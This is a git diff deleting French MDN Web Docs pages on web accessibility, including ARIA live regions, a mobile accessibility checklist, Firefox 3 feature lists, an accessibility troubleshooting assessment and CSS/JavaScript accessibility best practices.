Un site de chat voudrait afficher la liste des utilisateurs actuellement connectés. L'affichage de la liste des utilisateurs doit alors refléter l’état de connexion ou de déconnexion des utilisateurs de manière dynamique (sans actualisation de la page).

- -
<ul id="roster" aria-live="polite" aria-relevant="additions removals">
-	<!-- utilisez JavaScript ici pour ajouter/supprimer des utilisateurs-->
-</ul>
-
- -

Détails des propriétés « live » d’ARIA :

- - - -

TBD : Cas d’étude(s) réel(s) de l’attribut aria-atomic="true".

diff --git "a/files/fr/accessibilit\303\251/checklist_accessibilite_mobile/index.html" "b/files/fr/accessibilit\303\251/checklist_accessibilite_mobile/index.html" deleted file mode 100644 index 6e90ebca17..0000000000 --- "a/files/fr/accessibilit\303\251/checklist_accessibilite_mobile/index.html" +++ /dev/null @@ -1,89 +0,0 @@ ---- -title: Check-list pour l'accessibilité mobile -slug: Accessibilité/Checklist_accessibilite_mobile -tags: - - Accessibility - - B2G - - Firefox OS - - Mobile - - checklist -translation_of: Web/Accessibility/Mobile_accessibility_checklist ---- -
-

Ce document fournit une liste concise des points à vérifier par les développeurs pour garantir l’accessibilité d’une application mobile. Ce document est amené à évoluer pour tenir compte de nouvelles bonnes pratiques.

-
-

Couleur

- -
-

Note :

- -
-

La visibilité

- -

Le focus

- -

Les équivalents textuels

- -

La gestion des états

- -

Principales recommandations

- - -
-

Note : Le service de test automatique d'accessibilité de Tanaguru fournit un moyen pratique de corriger les erreurs d'accessibilité pouvant se glisser dans une page Web, ou d'une application Web locale (par exemple Firefox OS). Vous trouverez plus d'informations concernant l'implémentation technique de Tanaguru, et comment contribuer au projet, sur tanaguru.org.

-
- -
-

Note : la version originale, anglaise, de ce document a été écrite par Yura Zenevich.

-
-

 

diff --git "a/files/fr/accessibilit\303\251/communaut\303\251/index.html" "b/files/fr/accessibilit\303\251/communaut\303\251/index.html" deleted file mode 100644 index 505756ec1c..0000000000 --- "a/files/fr/accessibilit\303\251/communaut\303\251/index.html" +++ /dev/null @@ -1,17 +0,0 @@ ---- -title: Communauté -slug: Accessibilité/Communauté -tags: - - Accessibilité -translation_of: Web/Accessibility/Community ---- -

Ce document fournit des liens vers des listes de diffusions, des forums, et d'autres communautés portées sur l'accessibilité.

- -

Si vous connaissez d'autres, ressources utiles  n'hésitez pas à ajouter un lien ci-dessous.

- - diff --git "a/files/fr/accessibilit\303\251/d\303\251veloppement_web/index.html" "b/files/fr/accessibilit\303\251/d\303\251veloppement_web/index.html" deleted file mode 100644 index d87406d368..0000000000 --- "a/files/fr/accessibilit\303\251/d\303\251veloppement_web/index.html" +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Développement Web -slug: Accessibilité/Développement_Web -tags: - - ARIA - - Accessibilité - - Développement Web - - XUL - - À relire -translation_of: Web/Accessibility -translation_of_original: Web/Accessibility/Web_Development ---- -

 

- - - - - - - -
-

Accessibilité Web

-
-
- ARIA pour les développeurs
-
- ARIA permet l’accessibilité des contenus HTML dynamiques, comma par exemple les zones Live et les composants.
-
- Contrôles DHTML personnalisés navigables au clavier
-
- Jusqu’à présent, les développeurs Web qui désiraient rendre accessible au clavier leurs <div> et leurs <span> stylisées basées sur des composants dynamiques ne disposaient pas de techniques appropriées. La navigabilité au clavier est le requis minimum de l’accessibilité auquel chaque développeur Web devraient prêter attention.
-
-

Accessibilité XUL

-
-
- Construire des composants personnalisés accessibles en XUL
-
- Comment utiliser les techniques d’accessibilité DHTML pour améliorer l’accessibilité de vos composants personnalisés XUL.
-
- Recommandations d’accessibilité pour XUL
-
- Lorsqu’il est codé selon ces recommandations, XUL est capable de générer des interfaces utilisateurs accessibles. Codeurs, vérificateurs, graphistes et ingénieurs Qualité devraient se familiariser avec ces recommandations.
-
- 		-

Ressources externes

-
-
- Dive into Accessibility (Plonger dans l’accessibilité)
-
- Ce livre répond à deux questions. La première de ces questions est « Pourquoi devrais-je rendre mes sites plus accessibles ? » La second question est « Comment rendre mes sites plus accessibles ?»
-
- Accessibilité web
-
- Normes et bonnes pratiques pour des sites plus accessibles
-
- Création d’une page Web accessible
-
- Une liste utile des bonnes pratiques d’accessibilité Web, par IBM.
-
-
-
-  
-
-
-

 

diff --git "a/files/fr/accessibilit\303\251/index.html" "b/files/fr/accessibilit\303\251/index.html" deleted file mode 100644 index eb607344a4..0000000000 --- "a/files/fr/accessibilit\303\251/index.html" +++ /dev/null @@ -1,78 +0,0 @@ ---- -title: Accessibilité -slug: Accessibilité -tags: - - Accessibilité - - Avancé - - Développement Web - - Guide -translation_of: Web/Accessibility ---- -

L’accessibilité dans le développement web signifie permettre l'utilisation des sites web par le plus grand nombre de personnes, même lorsque les capacités de ces personnes sont limitées d’une manière ou d'une autre. Voici quelques informations qui vous permettront de développer du contenu accessible.

- -

« L'accessibilité du web signifie que les personnes handicapées peuvent l'utiliser. Plus spécifiquement, elle signifie que ces gens peuvent percevoir, comprendre, naviguer, interagir avec le web, et y contribuer. L'accessibilité du web bénéficie également à d'autres, notamment les personnes âgées ayant des capacités diminuées dues au vieillissement. » ( L'accessibilité du Web définie dans Wikipédia)

- -

« L'accessibilité numérique est la mise à la disposition de tous les individus – quels que soient leur matériel ou logiciel, leur infrastructure réseau, leur langue maternelle, leur culture, leur localisation géographique, ou leurs aptitudes physiques ou mentales – des ressources numériques. » W3C   Accessibility

- -
-
-

Tutoriels clefs

- -

La documentation MDN Accessibilité contient des tutoriaux modernes et à jour en ce qui concerne les points essentiels de l'accessibilité:

- -
-
Qu'est-ce que l'accessibilité?
-
Cet article présente un module général sur ce que l'accessibilité est actuellement — Cela inclut ce que des groupes de personnes ont besoin de considérer et pourquoi, quels outils ils utilisent afin d'interagir avec les pages web et comment rendre accessible la partie de notre espace de travail web.
-
HTML: Une bonne base pour l'accessibilité
-
Un nombre important de ressources du web peuvent être accessibles juste en utilisant correctement les éléments HTML dans leur usage approprié. Cet article résume en détail comment le HTML peut être utilisé afin de garantir une accessibilité maximum.
-
Meilleure pratiques d'accessibilité CSS et JavaScript
-
CSS et JavaScript, quand ils sont utilisés convenablement, ont le potentiel de permettre des expériences Web accessibles… ou bien ils peuvent significativement nuire à celle-ci si mal utilisés. Cet article décrit certaines pratiques exemplaires en langages CSS et JavaScript qui devraient être prises en compte pour garantir que le contenu, même complexe, soit aussi accessible que possible.
-
Les bases de WAI-ARIA
-
Dans la continuité de l'article précédent, créer des interactions d'interface utilisateur (UX) complexes impliquant un HTML non sémantique et un contenu dynamique mis à jour par JavaScript peut être parfois compliqué. WAI-ARIA est une technologie qui peut aider à résoudre de tels problèmes en ajoutant d'autres sémantiques que les navigateurs et les technologies d'assistance peuvent reconnaître et utiliser afin de permettre aux utilisateurs d’être informés correctement. Ici, nous allons montrer comment l'utiliser à un niveau de base pour améliorer l'accessibilité.
-
Multimédia accessible
-
Une autre catégorie de contenu pouvant créer des problèmes d'accessibilité est le multimédia : le contenu vidéo, audio et les images auxquels on doit fournir des textes équivalents pertinents afin qu'ils soient exploitables par les technologies d'assistance et compris par leurs utilisateurs. Cet article explique comment faire.
-
Accessibilité sur mobile
-
Étant donné que l'accès au Web sur les appareils mobiles est très populaire, et que les plates‑formes populaires telles que iOS et Android disposent d'outils d'accessibilité à part entière, il est important de considérer l'accessibilité de votre contenu Web sur ces plates‑formes. Cet article examine les considérations d'accessibilité spécifiques aux mobiles.
-
-
- -
-
-

Documentation

- -
-
Développement web
-
Un ensemble d'articles soulignant les problèmes d'accessibilité dans le développement web.
-
ARIA
-
Un ensemble d'articles pour apprendre à utiliser ARIA pour améliorer l'accessibilité de vos documents HTML.
-
Développement de Technologie d'assistance (TA)
-
Un ensemble d'articles destiné aux développeurs de technologies d'assistance.
-
Check-list pour l'accessibilité mobile
-
Ce document fournit une liste concise des requis accessibilité pour les développeurs d’applications mobiles.
-
- -

Tous les articles relatifs à l'accessibilité…

-
- -
-

Outils pour les développeurs web

- - - -

Tous les outils…

- -

Autres ressources

- -
    -
  • Liste des lecteurs d'écran
    • -
  • OpenWeb — Très bon site offrant à la fois un regard expert sur le web et des exemples concrets d'utilisation des normes du W3C.
    • -
  • Opquast.com — Bonnes pratiques qualité pour les services en ligne.
    • -
  • AccessiWeb — Référentiel AccessiWeb pour l'accessibilité.
    • -
  • AcceDe Web — Documents adaptés aux principaux intervenants d’un projet web.
    • -
-
-
-
diff --git a/files/fr/adaptation_des_applications_xul_pour_firefox_1.5/index.html b/files/fr/adaptation_des_applications_xul_pour_firefox_1.5/index.html deleted file mode 100644 index 8702ac2824..0000000000 --- a/files/fr/adaptation_des_applications_xul_pour_firefox_1.5/index.html +++ /dev/null @@ -1,33 +0,0 @@ ---- -title: Adaptation des applications XUL pour Firefox 1.5 -slug: Adaptation_des_applications_XUL_pour_Firefox_1.5 -tags: - - Extensions - - XUL -translation_of: Mozilla/Firefox/Releases/1.5/Adapting_XUL_Applications_for_Firefox_1.5 ---- -
{{FirefoxSidebar}}

 

- -

Cette page contient une liste des modifications de Firefox 1.5 qui concernent les développeurs XUL.

- -

Modifications spécifiques

- - - -

Autres informations

- - - -

{{ languages( { "en": "en/Adapting_XUL_Applications_for_Firefox_1.5", "it": "it/Adattare_le_applicazioni_XUL_a_Firefox_1.5", "ja": "ja/Adapting_XUL_Applications_for_Firefox_1.5", "pl": "pl/Dostosowanie_aplikacji_XUL_do_Firefoksa_1.5" } ) }}

diff --git "a/files/fr/am\303\251liorations_dom_dans_firefox_3/index.html" "b/files/fr/am\303\251liorations_dom_dans_firefox_3/index.html" deleted file mode 100644 index 38f958218c..0000000000 --- "a/files/fr/am\303\251liorations_dom_dans_firefox_3/index.html" +++ /dev/null @@ -1,35 +0,0 @@ ---- -title: Améliorations DOM dans Firefox 3 -slug: Améliorations_DOM_dans_Firefox_3 -tags: - - DOM - - Firefox 3 -translation_of: Mozilla/Firefox/Releases/3/DOM_improvements ---- -
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

- -

Firefox 3 offre un certain nombre d'améliorations dans sa gestion du modèle objet de document (DOM), en particulier en ce qui concerne la gestion de ses extensions ajoutées par d'autres navigateurs. Cet article reprend une liste de ces améliorations ainsi que des liens vers une documentation plus détaillée.

- - - -

Voir également

- - - -
 
- -

{{ languages( { "en": "en/DOM_improvements_in_Firefox_3", "es": "es/Mejoras_DOM_en_Firefox_3", "ja": "ja/DOM_improvements_in_Firefox_3", "pl": "pl/Poprawki_DOM_w_Firefoksie_3" } ) }}

diff --git "a/files/fr/am\303\251liorations_svg_dans_firefox_3/index.html" "b/files/fr/am\303\251liorations_svg_dans_firefox_3/index.html" deleted file mode 100644 index c46f799cea..0000000000 --- "a/files/fr/am\303\251liorations_svg_dans_firefox_3/index.html" +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: Améliorations SVG dans Firefox 3 -slug: Améliorations_SVG_dans_Firefox_3 -tags: - - Firefox 3 - - SVG -translation_of: Mozilla/Firefox/Releases/3/SVG_improvements ---- -
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

- -

Firefox 3 offre un support SVG amélioré par rapport aux versions précédentes de Firefox. Ces fonctionnalités sont documentés ailleurs, et cet article fournit une liste pratique permettant de déterminer lesquelles ont été ajoutées dans Firefox 3.

- - - -

Voir également

- - - -

 

- -

 

- -
 
- -

{{ languages( { "en": "en/SVG_improvements_in_Firefox_3", "es": "es/Mejoras_SVG_en_Firefox_3", "ja": "ja/SVG_improvements_in_Firefox_3", "pl": "pl/Poprawki_SVG_w_Firefoksie_3" } ) }}

diff --git "a/files/fr/am\303\251liorations_xul_dans_firefox_3/index.html" "b/files/fr/am\303\251liorations_xul_dans_firefox_3/index.html" deleted file mode 100644 index c509160ae5..0000000000 --- "a/files/fr/am\303\251liorations_xul_dans_firefox_3/index.html" +++ /dev/null @@ -1,95 +0,0 @@ ---- -title: Améliorations XUL dans Firefox 3 -slug: Améliorations_XUL_dans_Firefox_3 -tags: - - Firefox 3 - - XUL -translation_of: Mozilla/Firefox/Releases/3/XUL_improvements_in_Firefox_3 ---- -
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }}

- -

Firefox 3 fournit un certain nombre de nouveaux éléments XUL, ainsi que des améliorations sur des éléments existants. Bien que ces éléments soient documentés ailleurs, cet article offre une liste pratique des améliorations ainsi que des liens vers la documentation détaillée.

- -

Nouveaux éléments

- - - -

Améliorations des arbres

- - - -

Améliorations des menus

- - - -

Améliorations des boîtes de texte

- - - -

Autres améliorations

- - - -

Voir également

- - - -

{{ languages( { "en": "en/XUL_improvements_in_Firefox_3", "es": "es/Mejoras_XUL_en_Firefox_3", "ja": "ja/XUL_improvements_in_Firefox_3", "pl": "pl/Poprawki_XUL_w_Firefoksie_3" } ) }}

diff --git a/files/fr/apprendre/a11y/accessibility_troubleshooting/index.html b/files/fr/apprendre/a11y/accessibility_troubleshooting/index.html deleted file mode 100644 index 27f7489b2e..0000000000 --- a/files/fr/apprendre/a11y/accessibility_troubleshooting/index.html +++ /dev/null @@ -1,117 +0,0 @@ ---- -title: 'Évaluation: dépannage d''accessibilité' -slug: Apprendre/a11y/Accessibility_troubleshooting -tags: - - Accessibilité - - Apprendre - - CSS - - Débutant - - HTML - - JavaScript -translation_of: Learn/Accessibility/Accessibility_troubleshooting ---- -

{{LearnSidebar}}
- {{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}

- -

Dans l’évaluation de ce module, nous vous présentons un site simple, qui présente un certain nombre de problèmes d’accessibilité que vous devez diagnostiquer et résoudre.

- - - - - - - - - - - - -
Conditions préalables:Connaissances informatiques de base, une compréhension de base de HTML, CSS et JavaScript, une compréhension de la  previous articles in the course.
Objectif:Tester les connaissances de base sur les principes fondamentaux d'accessibilité.
- -
-
-
-

Point de départ

- -
 
-
-
-
- -

Pour lancer cette évaluation, vous devez aller chercher le  ZIP containing the files that comprise the example. Décompressez le contenu dans un nouveau répertoire quelque part sur votre ordinateur local

- -

Le site d'évaluation terminé devrait ressembler à ceci:

- -

- -

Vous verrez quelques différences / problèmes avec l'affichage de l'état de départ de l'évaluation - ceci est principalement dû aux différences dans le balisage, ce qui cause des problèmes de style car le CSS n'est pas appliqué correctement. Ne vous inquiétez pas, vous allez résoudre ces problèmes dans les prochaines sections!

- -

Résumé du projet

- -

Pour ce projet, vous êtes présenté avec un site naturel fictif affichant un article "factuel" sur les ours. Dans l'état actuel des choses, plusieurs problèmes d'accessibilité se posent. Votre tâche consiste à explorer le site existant et à le réparer au mieux de vos capacités, en répondant aux questions ci-dessous.

- -
-

Couleur

-
- -

Le texte est difficile à lire en raison du schéma de couleurs actuel. Pouvez-vous tester le contraste de couleurs actuel (texte / arrière-plan), en rapporter les résultats, puis le corriger en modifiant les couleurs attribuées?

- -

Semantic HTML

- -
    -
  1. Le contenu n'est toujours pas très accessible - faites un rapport sur ce qui se passe lorsque vous essayez de naviguer à l'aide d'un lecteur d'écran.
    2. -
  2. Pouvez-vous mettre à jour le texte de l'article pour faciliter la navigation des utilisateurs de lecteurs d'écran?
    3. -
  3. La partie du menu de navigation du site ( <div class="nav"></div>) pourrait être rendue plus accessible en la plaçant dans un élément sémantique HTML5 approprié. Lequel devrait-il être mis à jour? Faites la mise à jour.
    4. -
- -
-

Note: Vous devrez mettre à jour les sélecteurs de règles CSS qui attribuent aux balises le même style que les balises sémantiques. Une fois que vous avez ajouté des éléments de paragraphe, vous remarquerez que le style est meilleur.

-
- -

Les images

- -

Les images sont actuellement inaccessibles aux utilisateurs de lecteur d'écran. Pouvez-vous réparer ceci?

- -

Le lecteur audio

- -
    -
  1. Le lecteur  <audio> n'est pas accessible aux malentendants (pouvez-vous ajouter une sorte d'alternative accessible pour ces utilisateurs)?
    2. -
  2. Le lecteur  <audio> n'est pas accessible aux utilisateurs de navigateurs plus anciens qui ne prennent pas en charge l'audio HTML5. Comment pouvez-vous leur permettre d'accéder encore à l'audio?
    3. -
- -

Les formulaires

- -
    -
  1. L'élément  <input> dans le formulaire de recherche en haut pourrait être associé à une étiquette, mais nous ne souhaitons pas ajouter une étiquette de texte visible qui risquerait de gâcher la conception et qui n'est pas vraiment utile aux utilisateurs voyants. Comment ajouter une étiquette uniquement accessible aux lecteurs d’écran? ?
    2. -
  2. Les deux éléments  <input> du formulaire de commentaire ont des étiquettes de texte visibles, mais ils ne sont pas associés sans ambiguïté à leurs étiquettes. Comment y parvenir? Notez que vous devrez également mettre à jour certaines règles CSS.
    3. -
- -

Le contrôle afficher / masquer les commentaires

- -

Le bouton de commande afficher / masquer les commentaires n’est pas actuellement accessible au clavier. Pouvez-vous le rendre accessible au clavier, à la fois en termes de focalisation à l'aide de la touche de tabulation et d'activation à l'aide de la touche de retour?

- -

La table

- -

Le tableau de données (data table ) n'est pas très accessible actuellement. Il est difficile pour les utilisateurs de lecteur d'écran d'associer des lignes et des colonnes de données. De plus, le tableau ne contient aucun type de résumé permettant de clarifier ce qu'il montre. Pouvez-vous ajouter des fonctionnalités à votre code HTML pour résoudre ce problème?

- -

Autres considérations?

- -

Pouvez-vous énumérer deux autres idées d’amélioration qui rendraient le site Web plus accessible?

- -

Évaluation

- -

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en le demandant sur la discussion thread for this exercise,  ou sur le canal IRC #mdn  sur Mozilla IRC. Essayez d'abord l'exercice - il n'y a rien à gagner à tricher!

- -

{{PreviousMenu("Learn/Accessibility/Mobile", "Learn/Accessibility")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/a11y/css_and_javascript/index.html b/files/fr/apprendre/a11y/css_and_javascript/index.html deleted file mode 100644 index 3f59d3a489..0000000000 --- a/files/fr/apprendre/a11y/css_and_javascript/index.html +++ /dev/null @@ -1,368 +0,0 @@ ---- -title: Meilleures pratiques d'accessibilité CSS et JavaScript -slug: Apprendre/a11y/CSS_and_JavaScript -tags: - - Accessibilité - - Apprendre - - Article - - CSS - - Codage des scripts - - Guide - - JavaScript - - contraste - - couleur - - discret -translation_of: Learn/Accessibility/CSS_and_JavaScript ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/Accessibility/HTML","Learn/Accessibility/WAI-ARIA_basics", "Learn/Accessibility")}}
- -

CSS et JavaScript, lorsqu'ils sont utilisés correctement, peuvent également permettre des expériences web accessibles... ou peuvent nuire considérablement à l'accessibilité s'ils sont mal utilisés. Cet article décrit certaines des meilleures pratiques CSS et JavaScript à prendre en compte pour garantir que même un contenu complexe soit aussi accessible que possible.

- - - - - - - - - - - - -
Prérequis :Connaissances informatiques de base, compréhension de base de HTML, CSS et JavaScript, et compréhension de  Qu'est ce que l'accessibilité ?
Objectif :Familiarisez-vous avec l’utilisation appropriée de CSS et de JavaScript dans vos documents Web afin d’optimiser l’accessibilité et de ne pas la compromettre.
- -

CSS et JavaScript, des technologies accessibles ?

- -

CSS et JavaScript n’ont pas la même importance immédiate en matière d’accessibilité que le HTML, mais ils peuvent toujours aider ou nuire à l’accessibilité, en fonction de leur utilisation. En d'autres termes, il est important que vous preniez en compte certains conseils de meilleures pratiques pour vous assurer que votre utilisation de CSS et de JavaScript ne ruine pas l'accessibilité de vos documents.

- -

CSS

- -

Commençons par regarder le CSS.

- -

Sémantique correcte et attentes de l'utilisateur

- -

Il est possible d’utiliser CSS pour détourner l'apparence d'un élément HTML pour qu'il ressemble à un autre, mais cela ne veut pas dire que vous devriez le faire. Comme nous l’avons souvent mentionné dans notre article HTML : une bonne base pour l'accessibilité, vous devez utiliser, dans la mesure du possible, l’élément sémantique approprié. Sinon, cela peut créer de la confusion et des difficultés d'usage pour tout le monde, plus particulièrement pour les utilisateurs handicapés. L'utilisation de la sémantique correcte a beaucoup à voir avec les attentes des utilisateurs  — les éléments ont une apparence et un comportement particuliers, en fonction de leurs fonctionnalités, et ces conventions communes sont attendues par les utilisateurs.

- -

Par exemple, un utilisateur de lecteur d'écran ne peut pas naviguer dans une page via des éléments d'en-tête si le développeur n'a pas utilisé les éléments d'en-tête de manière appropriée pour annoter le contenu. De la même manière, un en-tête perd son utilité visuelle si vous le stylisez de sorte qu'il ne ressemble pas à un en-tête.

- -

La règle de base est la suivante : adaptez les styles et les comportements à votre conception sans rompre les habitudes utilisateur qui permettent une expérience intuitive. Les sections suivantes résument les principales fonctionnalités HTML à prendre en compte.

- -

Structure du contenu du texte "standard"

- -

Titres, paragraphes, listes — le contenu de texte de base de votre page :

- -
<h1>En-têtes</h1>
-
-<p>paragraphes</p>
-
-<ul>
-  <li>Ma liste</li>
-  <li>a deux éléments.</li>
-</ul>
- -

Quelques styles CSS typiques pourraient ressembler à ceci :

- -
h1 {
-  font-size: 5rem;
-}
-
-p, li {
-  line-height: 1.5;
-  font-size: 1.6rem;
-}
- -

Vous devriez :

- - - -

Voir Fondamentaux du texte HTML et  Introduction au style de texte pour plus d'informations.

- -

Texte mis en emphase

- -

On met en avant une portion de texte grâce au balises inline <em> :

- -
<p> L'eau est <em> très chaude </em>.</p>
-
-<p> Les gouttelettes d’eau accumulées sur les surfaces s’appellent  <strong>condensation</strong>.</p>
- -

Vous voudrez peut-être ajouter quelques couleurs simples à votre texte mis en importance :

- -
strong, em {
-  color: #a60000;
-}
- -

Cependant, vous aurez rarement besoin de styliser des éléments d’emphase de manière significative. Les conventions standard de texte en gras () et en italique (emphase) sont très reconnaissables, et le changement de style peut être source de confusion. Pour mettre des contenus en avant de manière efficace, voir Fondamentaux du texte HTML.

- -

Les abréviations

- -

Un élément permettant d'associer une abréviation, un acronyme ou un sigle à sa forme développée :

- -
<p> Le contenu web est marqué à l'aide de  <abbr title="Hypertext Markup Language">HTML</abbr>.</p>
- -

Encore une fois, vous voudrez peut-être appliquer une mise en forme simple sur ces éléments :

- -
abbr {
-  color: #a60000;
-}
- -

Par convention, on souligne en pointillés les abréviations et il n’est pas judicieux de s’écarter significativement cette règle reconnue. Pour plus d'informations sur les abréviations, voir Abréviations.

- -
-

Liens

-
- -

Hyperliens  la façon dont vous accédez à de nouveaux endroits sur le Web :

- -
<p> Visiter la  <a href="https://www.mozilla.org"> Page d'accueil de Mozilla </a>.</p>
- -

Un style de lien très simple est présenté ci-dessous :

- -
a {
-  color: #ff0000;
-}
-
-a:hover, a:visited, a:focus {
-  color: #a60000;
-  text-decoration: none;
-}
-
-a:active {
-  color: #000000;
-  background-color: #a60000;
-}
- -

Les conventions de style sur les liens sont le soulignement et une couleur différente (par défaut : bleu) dans leur état normal (non visité) de celle utilisée lorsque le lien a déjà été visité (par défaut : violet) et de celle utilisée lorsque le lien est activé (par défaut : rouge). De plus, le pointeur de la souris se change en icône de pointeur lorsque les liens sont déplacés, et le lien reçoit une surbrillance lorsqu'il est ciblé (par exemple, via une tabulation) ou activé. L'image suivante montre la surbrillance dans Firefox (contour en pointillé) et Chrome (contour bleu) :

- -

- -

- -

Vous pouvez faire preuve de créativité avec les styles de lien, tant que vous continuez à donner aux utilisateurs des informations visuelles en retour lorsqu'ils interagissent avec les liens. Quelque chose doit effectivement se produire pour signaler les changements d'états d'un lien, et vous ne devriez pas vous débarrasser du curseur de pointeur ou du contour — ces deux outils sont des aides très importantes pour l'accessibilité pour ceux qui utilisent les contrôles du clavier.

- -

Éléments form

- -

Éléments permettant aux utilisateurs de saisir des données sur des sites web :

- -
<div>
-  <label for="name">Entrez votre nom</label>
-  <input type="text" id="name" name="name">
-</div>
- -

Vous pouvez voir de bons exemples de CSS dans notre exemple form-css.html et (en direct).

- -

La plupart du CSS que vous rédigerez pour les formulaires servira à dimensionner les éléments, à aligner les étiquettes et les entrées, et à leur donner une apparence nette et ordonnée.

- -

Toutefois, vous ne devriez pas trop vous écarter des indications visuelles classiques qui signalent qu'un élément du formulaire est ciblé, c'est fondamentalement la même chose que pour les liens (voir ci-dessus). Vous pouvez mettre en forme les états ciblé / survolé du formulaire pour rendre ce comportement plus cohérent sur les navigateurs ou pour obtenir une meilleure intégration au design de votre page, mais ne vous en débarrassez pas complètement. Là encore, les utilisateurs s’appuient sur ces indices pour comprendre ce qui se passe.

- -

Tableaux

- -

Tableaux pour la présentation des données tabulées.

- -

Vous pouvez voir un bon exemple simple de  table-css.html et (en direct).

- -

En appliquant les propriétés du module CSS des tableaux, vous pourrez adapter les tables HTML à votre design avec une apparence pas trop affreuse. Il est judicieux de vous assurer que les en-têtes de table se démarquent (normalement en gras), et de zébrer les lignes via le pseudo-sélecteur :nth-child(n) pour faciliter la lecture.

- -

Couleur et contraste de couleur

- -

Lorsque vous choisissez un jeu de couleurs pour votre site web, assurez-vous que la couleur du texte contraste bien avec la couleur de fond. Votre design peut sembler agréable, mais cela n’est pas bon si les personnes malvoyantes, par exemple atteintes de daltonisme, ne peuvent pas lire votre contenu.

- -

Il existe un moyen simple de vérifier si votre contraste est suffisamment important pour ne pas causer de problèmes. Il existe un certain nombre d’outils de vérification du contraste en ligne dans lesquels vous pouvez entrer vos couleurs de premier plan et d’arrière-plan afin de les vérifier. Par exemple, le vérificateur de contraste de couleur du WebAIM est simple à utiliser et explique ce dont vous avez besoin pour vous conformer aux critères WCAG relatifs au contraste des couleurs.

- -
-

Note : Un taux de contraste élevé permettra également à toute personne utilisant un smartphone ou une tablette avec un écran brillant de mieux lire les pages dans un environnement lumineux, tel qu'exposé à la lumière du soleil.

-
- -

Un autre conseil est de ne pas compter uniquement sur la couleur pour les panneaux / informations, car cela ne sera pas bon pour ceux qui ne peuvent pas voir la couleur. Au lieu de marquer les champs de formulaire obligatoires en rouge, par exemple, marquez-les d'un astérisque et en rouge.

- -

Cacher des choses

- -

Dans de nombreux cas, une conception visuelle nécessitera de ne pas afficher tout le contenu en même temps. Par exemple, dans notre Exemple de boîte d'information à onglets (voir notre code source), nous avons trois panneaux d’informations, mais nous les positionnons les uns sur les autres et fournissons des onglets sur lesquels on peut cliquer pour les afficher à tour de rôle (c’est aussi accessible au clavier – vous pouvez également utiliser Tab et Entrée pour les sélectionner).

- -

- -

Les utilisateurs de lecteur d’écran ne s’inquiètent de rien. Ils sont satisfaits du contenu tant que l’ordre des sources est logique et ils peuvent tout comprendre. Le positionnement absolu (tel qu'utilisé dans cet exemple) est généralement considéré comme l'un des meilleurs mécanismes permettant de masquer un contenu pour obtenir un effet visuel, car il n'empêche pas les lecteurs d'écran d'y accéder.

- -

Par contre, vous ne devriez pas utiliser {{cssxref("visibility")}}:hidden ou {{cssxref("display")}}:none, car ils masquent le contenu des lecteurs d'écran sauf si vous souhaitez que ce contenu leur soit masqué.

- -
-

Note : Contenu invisible juste pour les utilisateurs de lecteur d'écran contient beaucoup plus de détails utiles concernant ce sujet.

-
- -

Accepter que les utilisateurs puissent remplacer les styles

- -

Acceptez que les utilisateurs puissent remplacer vos styles

- -

Il est possible pour les utilisateurs de remplacer vos styles par leurs propres styles personnalisés, par exemple :

- - - -

Les utilisateurs peuvent le faire pour diverses raisons. Un utilisateur malvoyant peut vouloir agrandir le texte de tous les sites Web qu’il visite, ou un utilisateur présentant un déficit de couleur grave peut vouloir afficher tous les sites Web dans des couleurs très contrastées, faciles à lire. Quel que soit le besoin, vous devriez être à l'aise avec cela et rendre vos conceptions suffisamment flexibles pour que de tels changements fonctionnent dans votre conception. Par exemple, vous voudrez peut-être vous assurer que votre zone de contenu principale peut gérer un texte plus volumineux (le défilement commencera peut-être pour permettre à tout le monde de le voir), et ne le cachera pas ou ne sera pas complètement interrompu.

- -

JavaScript

- -

JavaScript peut également compromettre l’accessibilité, selon son utilisation.

- -

Le JavaScript moderne est un langage puissant, et nous pouvons faire beaucoup de choses avec cela de nos jours, du contenu simple et des mises à jour d'interface utilisateur aux jeux 2D et 3D à part entière. Aucune règle ne stipule que tout le contenu doit être accessible à 100% à toutes les personnes. Vous devez simplement faire ce que vous pouvez et rendre vos applications aussi accessibles que possible.

- -

Le contenu et les fonctionnalités simples sont facilement accessibles – texte, images, tableaux, formulaires et bouton-poussoir activant des fonctions. Comme nous l'avons vu dans notre article HTML : une bonne base pour l'accessibilité,  les principales considérations sont les suivantes :

- - - -

Nous avons également examiné un exemple d'utilisation de JavaScript pour intégrer des fonctionnalités là où il manque – voir Remettre l'accessibilité au clavier. Ce n'est pas l'idéal – vous devez utiliser le bon élément pour le bon travail – mais cela montre que c'est possible dans des situations où, pour une raison quelconque, vous ne pouvez pas contrôler le balisage utilisé. Un autre moyen d'améliorer l'accessibilité pour les widgets non sémantiques reposant sur JavaScript consiste à utiliser WAI-ARIA pour fournir une sémantique supplémentaire aux utilisateurs de lecteurs d'écran. Le prochain article couvrira également cela en détail.

- -

Les fonctionnalités complexes telles que les jeux 3D ne sont pas si faciles à rendre accessibles – un jeu 3D complexe créé à l'aide de L'API WebGL : graphismes 2D et 3D pour le web sera rendu sur un élément {{htmlelement("canvas")}}, qui n'a pour l'instant aucune possibilité de fournir textes alternatifs ou autres informations à utiliser par les utilisateurs malvoyants. On peut soutenir qu’un tel jeu ne compte pas vraiment ce groupe de personnes dans son public cible principal, et il serait déraisonnable de s’attendre à ce que vous le rendiez accessible à 100% aux aveugles, quelle que soit l’implantation des contrôles clavier faite pour qu'il soit utilisable par les utilisateurs sans souris. De plus, rendez le jeu de couleurs suffisamment contrasté pour pouvoir rendre le jeu vidéo utilisable par ceux qui ont des déficiences de la perception des couleurs.

- -

Le problème avec trop de JavaScript

- -

Le problème survient souvent lorsque les utilisateurs se fient trop à JavaScript. Parfois, vous voyez un site Web où tout a été fait avec JavaScript – le code HTML a été généré par JavaScript, le CSS a été généré par JavaScript, etc. Ceci présente toutes sortes de problèmes d'accessibilité et d'autres choses qui y sont associées, donc ce n'est pas conseillé.

- -

